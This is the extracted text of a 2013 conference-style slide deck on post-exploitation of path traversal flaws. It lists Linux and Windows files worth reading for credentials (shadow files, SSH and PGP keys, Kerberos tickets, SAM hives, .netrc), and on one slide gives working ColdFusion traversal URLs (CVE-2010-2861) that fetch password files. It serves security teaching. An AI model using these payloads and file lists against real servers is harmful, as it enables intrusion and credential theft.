22
Path traversal post exploitation By George Lagoda Nov 23, 2013

4.1. Path traversal post_exploitation

Embed Size (px)

Citation preview

Page 1: 4.1. Path traversal post_exploitation

Path traversal post exploitationBy George Lagoda

Nov 23, 2013

Page 2: 4.1. Path traversal post_exploitation

This slide intentionally left blank(always dreamed of it )

Page 3: 4.1. Path traversal post_exploitation
Page 4: 4.1. Path traversal post_exploitation

Common understanding of path traversal

A Path Traversal attack aims to access files and directories that are stored outside the web root folder.

(OWASP)

WHAT FILES AND DIRS OUTSIDE THE WEB ROOT DO WE NEED AND WHY?

Page 5: 4.1. Path traversal post_exploitation

/etc/passwd – why so special?

Page 6: 4.1. Path traversal post_exploitation

Y.O.B.A. hacking

NEXT STEPS1. /root/.bash_history

if not accessible try harder:

/home/username/.bash_history game me:

Page 7: 4.1. Path traversal post_exploitation

Looks like epic win??:

After analyzing prepare_release.sh:

Page 8: 4.1. Path traversal post_exploitation
Page 9: 4.1. Path traversal post_exploitation

.netrc file• Provides remember me for ftpWhat I had when checked /home/username/.netrc :

machine ftp.server.comlogin secret_usr

password secret_pwd

Page 10: 4.1. Path traversal post_exploitation

Help for shell uploading/proc/self/environ /proc/self/statusUseful if we wannafind access or error logs of Apache, document root of the server or we also have LFI and wanna exploit Apache log poisoning

Page 11: 4.1. Path traversal post_exploitation

Smtg fo crds• SSH keys, often passwordless:

/home/*/.ssh/id*• Kerberos tickets: /tmp/krb5cc_*,

/tmp/krb5.keytab• PGP keys: /home/*/.gnupg/secring.gpgs

Page 12: 4.1. Path traversal post_exploitation

What distro we have?• /etc/SUSE-release # Novell SUSE • /etc/redhat-release, /etc/redhat_version # Red Hat• /etc/fedora-release # Fedora• /etc/slackware-release, • /etc/slackware-version # Slackware• /etc/debian_release, /etc/debian_version # Debian• /etc/mandrake-release # Mandrake• /etc/sun-release # Sun JDS• /etc/release # Solaris/Sparc• /etc/gentoo-release # Gentoo• /etc/arch-release # Arch Linux (file

will be empty)• arch # OpenBSD;

sample: “OpenBSD.amd64”

Page 13: 4.1. Path traversal post_exploitation

What about windows?

Page 14: 4.1. Path traversal post_exploitation

File Expected Contents / Description

%SYSTEMDRIVE%\boot.ini A file that can be counted on to be on virtually every windows host. Helps with confirmation that a read is happening.

%WINDIR%\win.ini This is another file to look for if boot.ini isn’t there or coming back, which is sometimes the case.

%SYSTEMROOT%\repair\SAM

%SYSTEMROOT%\System32\config\RegBack\SAM

It stores users' passwords in a hashed format (in LM hash and NTLM hash). The SAM file in \repair is locked, but can be retired using forensic or Volume Shadow copy methods

%SYSTEMROOT%\repair\system%SYSTEMROOT%\System32\config\RegBack\system

%SYSTEMDRIVE%\autoexec.bat

Page 15: 4.1. Path traversal post_exploitation

%SYSTEMDRIVE%\pagefile.sys Large file, but contains spill over from RAM, usually lots of good information can be pulled, but should be a last resort due to size

%WINDIR%\system32\logfiles\httperr\httperr1.log IIS 6 error log

%SystemDrive%\inetpub\logs\LogFiles IIS 7’s logs location

%WINDIR%\system32\logfiles\w3svc1\exYYMMDD.log (year month day)

%WINDIR%\system32\config\AppEvent.Evt

%WINDIR%\system32\config\SecEvent.Evt

%WINDIR%\system32\config\default.sav

%WINDIR%\system32\config\security.sav

%WINDIR%\system32\config\software.sav

%WINDIR%\system32\config\system.sav

%WINDIR%\system32\CCM\logs\*.log%USERPROFILE%\ntuser.dat

Page 16: 4.1. Path traversal post_exploitation

U really thought I will forget bout kittens?

Page 17: 4.1. Path traversal post_exploitation

• /etc/passwd• /etc/shadow (gotta try..)• /etc/shadow~ # (sometimes

there when edited withgedit)

• /etc/master.passwd• /etc/group• /etc/hosts• /etc/crontab• /etc/sysctl.conf

• /etc/resolv.conf• /etc/samba/smb.conf

• /etc/exports• /etc/auto.master• /etc/auto_maste• /etc/fstab• /etc/exports• /etc/sudoers

Page 18: 4.1. Path traversal post_exploitation

Some SW defaultshttp://wiki.apache.org/httpd/DistrosDefaultLayout

Page 19: 4.1. Path traversal post_exploitation

Also for cold fusion(not the last vers but still)

ColdFusion 6:http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX\lib\password.properties%00enColdFusion 7:http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%00enColdFusion 8http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00enAll versions:

http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en

http://www.cvedetails.com/cve/CVE-2010-2861/

Page 20: 4.1. Path traversal post_exploitation

• In case if you still don’t have path traversal to post exploit it, may be this tool could be useful for you: http://dotdotpwn.blogspot.ru/

Page 21: 4.1. Path traversal post_exploitation

Why so serious?

Page 22: 4.1. Path traversal post_exploitation

Thank you for visiting us And

HACK YOU (the end).